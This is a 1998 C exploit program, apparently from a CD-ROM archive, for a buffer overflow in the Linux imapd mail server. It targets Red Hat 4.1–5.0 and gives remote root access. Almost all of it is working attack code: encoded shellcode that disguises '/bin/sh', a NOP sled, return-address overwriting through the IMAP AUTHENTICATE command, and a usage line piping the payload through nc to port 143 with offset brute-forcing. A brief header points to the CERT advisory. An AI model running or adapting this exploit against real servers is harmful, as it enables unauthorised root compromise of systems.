home *** CD-ROM | disk | FTP | other *** search
- /*
-
- Imapd exploit code for x86 linux
-
- Remote user can gain root access.
- Tested redhat linux : 4.1 , 4.2 and 5.0
- Tested imapd version : 9.0 , 10.166 , 10.190 , 10.205 and 10.223
-
- Usage
- $ ( imapd-ex 0 ; cat ) | nc target.com 143
- |
- +------ try from -3000 to 3000 ( try in steps of 500 )
-
- How to patch imapd buffer overflow bug
- See http://www.cert.org/advisories/CA-98.09.imapd.html
-
- This program is only for demonstrative use only.
- USE IT AT YOUR OWN RISK!
-
- Programmed by Taeho Oh 1998/09/23
-
- Taeho Oh ( ohhara@postech.ac.kr ) http://ohhara.postech.ac.kr
-
- */
-
- #include<stdio.h>
- #include<stdlib.h>
-
- #define OFFSET 0
- #define RET_POSITION 1032
- #define RANGE 20
- #define NOP 0x90
-
- char shellcode[1024]=
- "\xeb\x38" /* jmp 0x38 */
- "\x5e" /* popl %esi */
- "\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
- "\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
- "\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
- "\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
- "\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
- "\x89\xf0" /* movl %esi,%eax */
- "\x83\xc0\x08" /* addl $0x8,%eax */
- "\x89\x46\x08" /* movl %eax,0x8(%esi) */
- "\x31\xc0" /* xorl %eax,%eax */
- "\x88\x46\x07" /* movb %eax,0x7(%esi) */
- "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
- "\xb0\x0b" /* movb $0xb,%al */
- "\x89\xf3" /* movl %esi,%ebx */
- "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
- "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
- "\xcd\x80" /* int $0x80 */
- "\x31\xdb" /* xorl %ebx,%ebx */
- "\x89\xd8" /* movl %ebx,%eax */
- "\x40" /* inc %eax */
- "\xcd\x80" /* int $0x80 */
- "\xe8\xc3\xff\xff\xff" /* call -0x3d */
- "\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */ /* /bin/sh is disguised */
-
- void main(int argc,char **argv)
- {
- char buff[RET_POSITION+RANGE+1],*ptr;
- long *addr_ptr,addr;
- unsigned long sp;
- int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
- int i;
-
- if(argc>1)
- offset=atoi(argv[1]);
-
- sp=0xbffff29f;
- addr=sp-offset;
-
- ptr=buff;
- addr_ptr=(long*)ptr;
- for(i=0;i<bsize;i+=4)
- *(addr_ptr++)=addr;
-
- for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
- buff[i]=NOP;
-
- ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
- for(i=0;i<strlen(shellcode);i++)
- *(ptr++)=shellcode[i];
-
- buff[bsize-1]='\0';
-
- printf("* AUTHENTICATE {%d}\r\n",bsize);
- for(i=0;i<bsize;i++)
- putchar(buff[i]);
- printf("\r\n");
- }
-